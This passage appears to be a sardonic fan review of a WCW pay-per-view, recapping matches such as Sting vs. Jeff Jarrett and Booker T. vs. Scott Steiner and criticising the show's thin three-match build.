Cat beats on him with ease for a knockdown and Sanders barely beats the count. Another punch drops Mike again but the Perfect Event argues over whether or not to throw in the towel. Mike says throw it in but somehow beats the count to end the round. This has been completely one sided so far and Cat has barely broken a sweat.

The slowest ten count ever (the referee is at five with twenty seconds left and gets to nine with three seconds left) allows the Cat to get up just in time and the match continues. Cat knocks Sanders out again but goes to the floor to fight Shane, giving Mike a countout win. In overtime. In a kickboxing match. To be a wrestling commissioner. Which he already was.

Kronik gives Goldberg until the end of the night because they get paid either way.

Mike Awesome vs. Vampiro

Vampiro is knocked to the floor to start and a big plancha takes him down again. That never stops looking awesome. The brawl heads into the crowd despite there being regular rules for this one. Vampiro grabs a cane from someone and beats on Awesome, only to have the guy hit Awesome, who beats him down as a result. Well that was a bad moment.

US Title: General Rection vs. Lance Storm/Jim Duggan

Mayhem ad centered entirely around Scott Steiner.

Jarrett is ready for Sting.

We recap Jarrett vs. Sting which is over Jarrett claiming Sting has no heart. For some reason this resulted in him dressing up as Sting and mimicking him, which only served to tick Sting off and set up a big fight here. On paper, this should be a layup.

Sting vs. Jeff Jarrett

Booker T. is ready for Steiner.

We recap Steiner vs. Booker T., which is basically Steiner going insane and attacking Booker.

WCW World Title: Booker T. vs. Scott Steiner

Jeff Jarrett has to come out and help calm Steiner down.

We recap the main event which is basically Goldberg is dominant and Kronik are big and strong. Go have a four minute match to wrap up this pay per view.

Goldberg vs. Kronik

Look at the build for this show. WCW made it clear that this was going to be a three match card with everything else filling in the gaps. Goldberg vs. Kronik would have been lame as a Thunder main event and it closed the show. Booker vs. Steiner was the most acceptable of the three despite it being nothing more than sequel bait. The less said about Sting vs. Jarrett the better.

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